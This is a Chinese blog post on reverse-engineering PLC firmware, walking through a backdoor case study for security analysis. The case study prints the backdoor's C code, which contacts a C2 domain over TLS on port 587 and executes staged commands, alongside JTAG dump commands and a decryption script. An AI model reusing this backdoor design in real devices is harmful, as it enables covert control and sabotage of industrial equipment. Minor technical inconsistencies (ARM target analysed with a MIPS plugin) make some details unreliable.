工控固件逆向与漏洞挖掘

149 阅读5分钟

固件是什么

固件(Firmware)是一种特殊的软件程序,它被永久或半永久地存储在硬件设备的只读存储器(ROM)、闪存(Flash Memory)或其他非易失性存储器中。固件处于硬件和软件之间的特殊位置,为硬件设备提供底层控制和基本功能。

固件在工业控制系统中扮演着关键角色,例如:

  1. PLC(可编程逻辑控制器)固件:控制生产线的自动化流程,直接驱动机械臂、传送带等设备
  2. RTU(远程终端单元)固件:在SCADA系统中负责采集现场数据并执行远程指令
  3. 工业交换机固件:保障工控网络实时性,支持EtherCAT、Profinet等工业协议

本文将通过一个PLC固件分析案例,展示工控设备逆向的完整技术路径。

固件逆向的基本流程

获取固件

  1. 官网直接下载:部分厂商在技术支持页面提供固件更新包
  2. 从设备中提取:工控设备常留有调试接口,通过JTAG/SWD可直接读取Flash内容
  3. OTA更新捕获:拦截设备更新请求获取固件
  4. 从备份恢复文件提取:部分PLC编程软件会在本地缓存固件文件

初步分析固件包

工控固件常见格式包括:

  • .BIN:原始二进制镜像
  • .PRG:厂商自定义打包格式
  • .FW:加密固件包
  • .SWU:采用SWUpdate机制

解包与提取

  • 未加密固件:使用binwalk直接提取,常包含u-boot、kernel和rootfs
  • 加密固件:需先通过逆向升级程序或内存dump获取解密算法
  • JFFS2/UBIFS:使用jeffersonubi_reader提取
  • 自定义格式:分析头部结构,编写专用解析脚本

核心分析

工控固件多采用ARM或MIPS架构,重点关注:

  • 网络服务组件(如modbus/tcp实现)
  • 认证机制
  • 固件升级逻辑
  • 硬编码凭据

实战案例:PLC后门植入分析

背景

某制造企业在安全审计中发现,厂区内一台西门子S7系列PLC存在异常网络行为。该设备在非工作时间频繁向公网IP发起连接。获取固件后需要确认是否存在恶意代码注入。

分析目标:提取恶意模块C2信息,分析指令执行机制

环境准备

  • Kali Linux物理机(带JTAG调试器)
  • OpenOCD + GDB调试环境
  • IDA Pro + MIPS插件
  • Wireshark(分析S7Comm协议)

分析过程

固件提取

由于该型号PLC未公开固件下载,采用JTAG接口提取。识别出调试接口为标准的ARM JTAG 20针接口,使用J-Link连接器配合OpenOCD读取外部Flash。

openocd -f interface/jlink.cfg -f target/arm926ejs.cfg

通过GDB连接到OpenCD服务器,dump整个Flash空间(128MB):

(gdb) dump binary memory plc_fw.bin 0x0 0x8000000

提取后文件显示为U-Boot引导的Linux系统。

解密处理

binwalk分析发现rootfs被LZMA压缩后,又经过XOR加密。固件升级程序fwupgrade中硬编码了密钥0xA7B3C9D1。编写Python脚本解密:

key = 0xA7B3C9D1
with open('encrypted.fs', 'rb') as f:
    data = bytearray(f.read())
    for i in range(len(data)):
        data[i] ^= (key >> (i % 4 * 8)) & 0xFF

解密后成功提取出SquashFS文件系统。

恶意模块定位

/usr/bin目录下发现runtime_check程序,该文件创建时间为2023-02-15,与其他系统文件不一致。通过strings命令发现包含backdoor_init字符串。

IDA Pro加载后发现该程序会hook合法的modbus_server进程,通过LD_PRELOAD注入恶意代码。

后门行为分析

backdoor_init函数中发现以下核心逻辑:

void backdoor_init() {
    char* c2_server = "plc-update.iot-msft-cloud.com";
    int c2_port = 587;
    char device_id[32];
    
    // 从PLC序列号生成唯一ID
    get_device_serial(device_id);
    
    // 建立加密连接
    int sock = tls_connect(c2_server, c2_port);
    
    // 发送心跳包
    while(1) {
        send_encrypted_heartbeat(sock, device_id);
        sleep(3600);  // 每小时一次
        
        // 检查控制指令
        char* cmd = recv_encrypted_cmd(sock);
        if(cmd && strstr(cmd, "STAGE_")) {
            execute_staged_payload(cmd);
        }
    }
}

恶意代码采用TLS加密通信,心跳间隔1小时,有效规避传统IDS检测。C2使用587端口(通常用于邮件提交),伪装成正常SMTP流量。

进一步分析execute_staged_payload函数,发现支持三种指令:

  • STAGE_RECON:收集PLC配置信息
  • STAGE_RUPDATE:远程固件更新(植入持久化代码)
  • STAGE_EXEC:执行任意系统命令

动态调试验证

使用QEMU用户模式模拟运行恶意程序,配合GDBServer进行调试。设置断点在tls_connect函数,确认连接行为。通过Wireshark抓包看到TLS握手后的加密流量,验证了静态分析结论。

工控固件安全防护思考

工业控制系统固件安全关乎生产安全乃至人身安全,防护策略必须更加严格。

信任链构建:从BootROM开始,逐级验证签名,确保每一阶段代码的合法性。私钥应存放在HSM中,避免泄露。

内存保护:启用ARM TrustZone或MPU(内存保护单元),将关键进程隔离在安全世界,防止LD_PRELOAD等注入攻击。

通信加固:工控协议如Modbus、S7Comm应增加应用层认证与加密,避免明文传输。所有对外连接需经防火墙严格限制。

代码虚拟化:将协议栈核心函数、认证逻辑编译为虚拟机字节码。逆向者面对的是自定义指令集,无法直接使用标准工具分析,大幅提升了逆向门槛。

动态混淆:在关键路径插入运行时解密的代码块,每次执行时密钥不同,使得内存dump也无法获取完整逻辑。配合看门狗机制,检测到调试器附加时触发设备自锁。


工控安全无小事,一次成功的攻击可能导致生产线瘫痪甚至物理损毁。作为安全研究者,必须深入理解设备工作原理;作为厂商,应将安全设计融入开发生命周期。攻防之道,在于知己知彼。